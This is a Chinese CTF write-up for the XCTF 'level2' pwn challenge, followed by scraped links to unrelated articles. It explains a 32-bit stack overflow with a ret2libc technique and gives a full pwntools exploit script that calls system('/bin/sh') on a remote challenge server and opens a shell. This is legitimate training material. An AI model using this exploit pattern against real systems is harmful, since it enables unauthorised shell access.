day-7 xctf-level2
xctf-level2
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055
拿到题目,查看一下相关信息:32位,开启了NX


放入ida查看:

代码比较简单,进入vulnerable_function()查看,程序的功能是输入一段文字,显示Hello World!

我们可以通过read函数,溢出到callsystem的位置,执行ststem('/bash/sh'),拿到shell权限
唔,这里附带一个链接知识:https://blog.csdn.net/qq_38990949/article/details/82895975
我们可以知道,payload = 'a' * (offset + 4) + sys_addr + ret_add + sh_addr
根据这个公式,offset为88,我们只为了取得shell,ret_add随便写就行了,需要找到sys_addr和sh_addr的地址
查找知识,看到这个寻找的方法:
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
这样就可以写exp了:
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#cnn = process('./level2')
cnn = remote('111.198.29.45',52271)
elf = ELF('./level2')
system_addr = elf.symbols['system']
binsh_addr = elf.search('/bin/sh').next()
payload = 'a'*0x88+'a'*0x4 + p32(system_addr) + p32(4) + p32(binsh_addr)
cnn.sendlineafter('Input:',payload)
cnn.interactive()
exp
通过ls命令,然后cat flag就能获得flag

总结:推荐一波小知识:https://blog.csdn.net/qq_38990949/article/details/82895975
// 伪代码
A(int arg_a1,int arg_a2)
B(int arg_b1,int arg_b2,int arg_b3)
C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
---> ESP
buf[128]
EBP
return //-->fake_addr_A
arg_b1 //-->4006b0 addr_pop_pop_ret
arg_b2 arg_a1 //pop r14
arg_b3 arg_a2 //pop r15
ret // --->fake_addr_C
0 // --->C的返回地址,现在没用了
arg_c1
arg_c2
-->EBP
NX利用结构
day-7 xctf-level2的更多相关文章
- 【CTF】Pwn入门 XCTF 部分writeup
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...
- 【转】编译quickfast解析库(沪深level2行情转码库)
转自http://blog.csdn.net/hacode/article/details/7065889 编译quickfast解析库(沪深level2行情转码库) 目录(?)[-] 1 下载源代 ...
- XMLHttpRequest Level2实现跨域
Html5提供的XMLHttpRequest Level2已经实现的跨域访问以及一些新功能 1.ie10以下版本不支持 2.在服务器端做一些小改动即可: header("Access-Con ...
- Level2行情和传统行情的区别
序号 Level2行情 传统行情 Level 2特点 Level 2行情优势 1 每3秒钟发送一次行情信息 每6秒钟发送一次 行情显示速度更快 投资者更及时地获得交易信息 2 证券逐笔成交明细信息 证 ...
- Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位简单栈溢出
两道64位栈溢出,思路和之前的32位溢出基本一致,所以放在一起 在这两道中体现的32位和64位的主要区别在于函数参数传递的方式 在32位程序运行中,函数参数直接压入栈中 调用函数时栈的结构为:调用函数 ...
- Jarvis OJ - [XMAN]level2 - Writeup
简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...
- XXS level2
(1)用level1的方法尝试,发现行不通 (2)查看PHP源代码 <?php ini_set("display_errors", 0); $str = $_GET[&quo ...
- 攻防世界(XCTF)WEB(进阶区)write up(四)
ics-07 Web_php_include Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...
- 攻防世界(XCTF)WEB(进阶区)write up(三)
挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...
- 攻防世界(XCTF)WEB(进阶区)write up(一)
cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名 输入普通域名无果 输入127.0.0.1返回了ping码的结果 有可能是命令执行 ...
随机推荐
- ImageCombiner - Java服务端图片合成的工具包,好用!
自己的第一个也是唯一一个开源项目,因为平时比较懒,很少做宣传,今天刚好突破160个star,发到园子里推荐给大家,算是庆祝一下,哈. 项目地址:https://gitee.com/opensource ...
- 云服务器Centos7部署Tomcat服务器
目录 部署Tomcat服务器 1.安装JDK1.8 2.安装与启动tomcat 配置安全组(8080端口) 参考文章 部署Tomcat服务器 1.安装JDK1.8 JDK下载地址:https://ww ...
- Gateway网关
前提要在注册中心把网关和服务都进行注册 通俗来说,网关就是指在客户端和服务端的一面墙,这面墙有请求转发,负载均衡,权限控制,跨域,熔断降级,限流保护等功能. 客户端发送请求,请求先通过网关,网关根据特 ...
- hutool的DateUtil工具类
1.0.DateUitl(日期时间) 0)坐标 <dependency> <groupId>cn.hutool</groupId> <artifactId&g ...
- 49元起!魅族Lipro LED灯泡发布:无可视频闪、无积热问题
转: 49元起!魅族Lipro LED灯泡发布:无可视频闪.无积热问题 魅族智能家居品牌Lipro今日办会,公布一批新品,均面向健康照明领域打造. 魅族强调,Lipro健康照明产品主打博物馆级健康光. ...
- 12张图打开JMeter体系结构全局视角
JMeter是Java技术栈工具,在软件测试领域应用非常广泛,无论是性能测试还是接口测试,技术都很成熟和稳定.它有一个突出特点:开源,适合做二次开发,以阿里为代表的Java技术栈公司都对它青睐有加.在 ...
- FFT HDL Optimized模块HDL综合代码生成及与Xilinx xfft IP MEX接口精度详细比较
前面一篇随笔叙述了关于MATLAB中FFT_HDL_Optimzed模块定点(IEEE754单精度float格式)二进制与十进制转换实现,有需要的往前翻一下即可.这一篇随笔将叙述 FFT HDL Op ...
- HDOJ-1540(线段树+较复杂的单点修改和区间查询)
Tunnel Warfare HDOJ-1540 这题关于线段树的操作有一定的难度,需要较好的思维能力. 关于题目的详细解答已经在代码中体现了. #include<iostream> #i ...
- Web微信协议
[文档]Web微信协议 1.登录 1.1 获取uuid(get) 请求 https://login.wx.qq.com/jslogin?appid=wx782c26e4c19acffb&red ...
- JAVA -JSON-XML-MAP转换
//定义一个MAP对象,将对象传给后端接口接收 Map a = ["api": '11', ZGUID: "1231",BESKZ: "1231& ...